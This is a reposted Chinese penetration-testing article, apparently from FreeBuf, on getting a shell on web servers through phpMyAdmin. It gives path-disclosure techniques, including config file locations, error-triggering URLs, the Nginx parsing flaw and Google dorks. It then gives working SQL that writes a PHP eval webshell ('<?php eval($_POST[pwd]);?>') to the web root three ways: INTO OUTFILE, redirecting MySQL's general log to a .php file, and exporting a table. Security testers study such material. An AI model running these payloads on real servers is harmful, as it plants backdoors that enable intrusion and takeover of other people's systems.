21

phpMydmin的GetShell思路

 4 years ago
source link: https://www.freebuf.com/articles/web/226240.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

phpMyadmin简介

phpMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库 。

信息收集

此部分主要需要收集的是网站物理路径,否则后续无法通过URL连接Shell

物理路径

查询数据库存储路径来推测网站物理路径,也可以通过log变量得到

select @@datadir;

uqQfe27.jpg!web

配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件

# Windows
 c:\windows\php.ini                             # php配置文件
 c:\windows\system32\inetsrv\MetaBase.xml       # IIS虚拟主机配置文件
  # Linux
 /etc/php.ini                                   # php配置文件
 /etc/httpd/conf.d/php.conf
 /etc/httpd/conf/httpd.conf                     # Apache配置文件
 /usr/local/apache/conf/httpd.conf
 /usr/local/apache2/conf/httpd.conf
 /usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件

单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。

www.abc.com/index.php?id=1

错误参数值爆路径:尝试将要提交的参数值改成错误值。

www.abc.com/index.php?id=-1

Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。

www.abc.com/bg.jpg/x.php

Google爆路径

site:xxx.com warning
 site:xxx.com “fatal error”

测试文件爆路径

www.xxx.com/test.php
 www.xxx.com/ceshi.php
 www.xxx.com/info.php
 www.xxx.com/phpinfo.php
 www.xxx.com/php_info.php
 www.xxx.com/1.php

其它

phpMyAdmin/libraries/selectlang.lib.php 
 phpMyAdmin/darkblueorange/layout.inc.php
 phpmyadmin/themes/darkblue_orange/layout.inc.php
 phpMyAdmin/index.php?lang[]=1
 phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
 /phpmyadmin/libraries/lect_lang.lib.php
  /phpMyAdmin/phpinfo.php
 /phpmyadmin/themes/darkblue_orange/layout.inc.php
 /phpmyadmin/libraries/select_lang.lib.php
 /phpmyadmin/libraries/mcrypt.lib.php

其它信息

phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息

也可以通过SQL查询得到其它信息

select version();  -- 查看数据库版本
 select @@datadir;  -- 查看数据库存储路径
 show VARIABLES like '%char%';  -- 查看系统变量

GetShell

前提条件

网站真实路径。如果不知道网站真实路径则后续无法 通过URL的方式连shell

读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。 这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效

select @@secure_file_priv   -- 查询secure_file_priv
 -- secure_file_priv=NULL,禁止导入导出
 -- secure_file_priv='',不限制导入导出
 -- secure_file_priv=/path/,只能向指定目录导入导出
  select load_file('c:/phpinfo.php');        -- 读取文件
 select '123' into outfile 'c:/shell.php';  -- 写入文件

常规GetShell

直接通过SQL查询写入shell

-- 假设物理路径为 "G:\phpStudy\WWW"
 select '<?php eval($_POST["pwd"]);?>' into outfile 'G:/phpStudy/WWW/shell.php';

日志GetShell

MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。

查询日志全局变量

show variables like '%general%';
  Variable_name     Value
 general_log       OFF
 general_log_file  G:\phpStudy\MySQL\data\FengSec.log

general_log:日志保存状态

general_log_file:日志保存路径

开启日志保存并配置保存路径

set global general_log = "ON";    -- 打开日志保存
 set global general_log_file = "G:/phpstudy/WWW/log.php";  -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接

写shell

select '<?php eval($_POST[pwd]); ?>';

新表GetShell

进入一个数据库,新建数据表。

名字随意,这里为shell_table

字段数填1

MVRvYrj.jpg!web

添加字段

字段名任意,这里为xiaoma

字段类型为TEXT

6ZRFrej.jpg!web

在该表中点击插入,值为一句话木马

<?php eval($_POST[pwd]); ?>'

R7ZvQ3r.jpg!web

执行SQL查询,将该表中的内容导出到指定文件

-- 假设物理路径为 "G:\phpStudy\WWW"
 select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";

eu6rEfB.jpg!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK